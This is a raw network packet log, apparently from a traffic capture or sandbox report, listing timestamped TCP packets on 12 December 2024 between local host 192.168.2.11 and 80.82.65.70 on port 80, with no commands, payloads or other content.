                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.879133940 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.879591942 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.879738092 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.879909039 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.880608082 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.880671978 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.880703926 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.880992889 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.881778955 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.881792068 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.882038116 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.882831097 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.882837057 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.882953882 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.883764982 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.883770943 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.883877039 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.884747982 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.885396957 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.885428905 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.885660887 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.885867119 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.885992050 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.886018038 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.886235952 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.886785984 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.886885881 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.887093067 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.887933969 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.887939930 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.888015985 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.888915062 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.888921976 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.889019012 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.889856100 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.889993906 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.890069008 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.890156031 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.890937090 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.890944004 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.891014099 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.891948938 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.892009974 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.892046928 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.892153025 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.893009901 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.893017054 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.893114090 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.893990993 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.893999100 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.894041061 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.895030022 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.895041943 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.895168066 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.896040916 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.896090984 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.896100044 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.896224976 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.897073030 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.897085905 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.897128105 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.898207903 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.898335934 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.898375988 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.898845911 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.899072886 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.899255991 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.899288893 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.899426937 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.900233984 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.900290012 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.900321007 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.900527954 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.901120901 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.901336908 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.901357889 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.901437044 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.902158976 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.902259111 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.902291059 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.902339935 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.903208017 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.903213978 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.903310061 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.904277086 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.904325008 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.904369116 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.904369116 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.905318975 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.905345917 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.905416012 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.905426979 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.906356096 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.906363964 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.906497955 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.907278061 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.907370090 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.907385111 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.907601118 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.908361912 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.908425093 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.908477068 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.909405947 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.909456968 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.909491062 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.909563065 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.910365105 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.910481930 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.910548925 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.910548925 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.911339045 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.911458969 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.049643040 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.049729109 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.049784899 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.049784899 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.050096035 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.050168037 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.050198078 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.050244093 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.051266909 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.051350117 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.051353931 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.051436901 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.052177906 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.052289009 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.052489996 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.053168058 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.053275108 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.053343058 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.053379059 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.054413080 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.054423094 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.054532051 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.055592060 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.055805922 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.055857897 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.055857897 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.056226969 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.056396961 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.056428909 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.056596994 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.057393074 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.057403088 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.057553053 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.058387041 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.058573961 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.058602095 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.058743954 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.059375048 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.059650898 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.059691906 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.060431957 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.060440063 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.061003923 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.061003923 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.061403036 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.062289953 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.062412977 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.062427998 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.062496901 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.062519073 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.062678099 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.063555002 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.063563108 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.064618111 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.064625025 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.064816952 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.064816952 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.065582037 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.065588951 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.066107035 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.066643953 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.066651106 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.066905022 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.067595005 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.067967892 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.068006039 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.068392038 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.068623066 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.068629980 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.069267988 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.069727898 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.069736004 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.069885969 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.071027040 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.071033955 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.071222067 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.071657896 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.071698904 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.071785927 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.072762012 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.072767973 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.073293924 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.073857069 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.073863983 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.074374914 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.074803114 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.074809074 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.074939966 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.075828075 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.075834036 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.075889111 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.076811075 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.076872110 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.076889038 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.077052116 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.077838898 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.077961922 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.078423023 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.078423023 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.078768015 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.078888893 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.078924894 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.078999996 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.079848051 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.079916954 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.079927921 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.080152035 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.080935001 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.081001043 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.081825018 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.081825018 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.081861019 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.081994057 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.082494974 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.083018064 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.083024979 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.083333969 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.084002972 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.084008932 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.084202051 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.085011005 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.085017920 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.085107088 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.086127043 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.086133957 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.086209059 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.086970091 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.087269068 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.087296009 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.087333918 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.088193893 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.088396072 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.088432074 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.088669062 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.089049101 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.089615107 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.089637995 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.090085030 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.090291023 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.090298891 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.090950966 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.091253996 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.091260910 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.091335058 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.092268944 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.092278957 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.092363119 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.093168974 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.093177080 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.093467951 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.094471931 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.094480038 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.094852924 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.095366001 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.095459938 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.095489979 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.095544100 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.096224070 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.096277952 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.096354961 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.097381115 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.097388029 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.097872019 CET4988280192.168.2.1180.82.65.70
